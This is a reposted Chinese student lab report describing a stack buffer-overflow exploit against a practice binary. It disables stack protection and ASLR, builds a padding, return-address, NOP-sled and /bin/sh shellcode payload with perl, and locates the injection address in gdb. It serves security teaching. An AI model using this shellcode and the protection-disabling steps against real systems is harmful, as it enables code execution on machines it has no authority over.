注入Shellcode並運行攻擊


注入Shellcode並運行攻擊#

一、實驗步驟##

1.安裝execstack並修改設置###

  • 安裝execstack apt-get install execstack

  • 設置堆棧可執行 execstack -s 20154305

  • 查詢文件的堆棧是否可執行 execstack -q 20154305

  • 關閉地址隨機化echo "0" > /proc/sys/kernel/randomize_va_space

  • 查詢地址隨機化是否關閉more /proc/sys/kernel/randomize_va_space

0代表關閉,2代表開啟

2. 構造攻擊buf###

本實驗采用 retaddr+nop+shellcode 方法####

  • 由以上兩階段實驗已經知道pwn1文件的foo函數字符串緩沖大小為32Byte

  • 采用老師提供的shellcode 的代碼 \x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00

-用perl語言輸入代碼 perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 上面的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。我們得把它改為這段shellcode的地址。

3. 確定返回地址的值###

  • 將寫好的代碼通過管道方式輸入給程序20154305中的foo函數進行覆蓋 (cat input_shellcode;cat) | ./20154305

此處應注意,輸入完指令只需要按一次回車,然后我們需要打開另一個終端

  • 打開另外一個終端,用gdb來調試pwn1這個進程

  • 首先找到20154305程序的進程號ps -ef | grep 20154305

  • 啟動gdb調試這個程序 gdb attach 2041

通過ps指令可以看到20154305程序有兩個進程號:2041和2088,2041為上一個終端打開時的調用,故我們attach 2041進行調試

  • 設置斷點來查看注入buf的內存地址disassemble foo

ret的地址為 0x080484ae,ret完就會跳到我們覆蓋的返回地址了

  • break *0x080484ae設置斷點

  • 在另一個終端按下回車,這樣程序就會執行之后在斷點處停下來

  • 再在gdb調試的終端輸入 c 繼續運行程序

  • 通過info r esp查看esp寄存器的地址

  • 上圖可以看到 01010304 所在的地址為 0xffffd3cc,那么注入的shellcode代碼的地址應該在該地址后四個字節的位置,即0xffffd3cc + 0x00000004 = 0xffffd3d0

  • 退出gdp調試。

4. 修改注入代碼的覆蓋地址

輸入
perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

(cat input_shellcode;cat) | ./20154305

至此,已經能夠成功運行我們注入的shell代碼,實驗成功。####

二、實驗總結##

實驗到此為止,已經通過三種方法對源程序pwn1進行攻擊,直接修改指令是最容易也是最容易理解的,后兩個方法都是通過緩沖區溢出覆蓋返回地址達到跳轉到目的代碼的目的。利用了程序沒有進行越界檢查的漏銅,通過Bof攻擊達到某些目的,可見程序的漏洞對我們的危害十分大,可能泄露我們電腦上的任何信息,因此我們要特別加強信息安全方面的防范。####

方法三的實驗環境是比較開放的,關閉了地址隨機化等,難度大大降低,希望能夠在以后的學習中學到更難的攻擊方法,當然如老師所言,學習到思路和方法才是最重要的。####


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM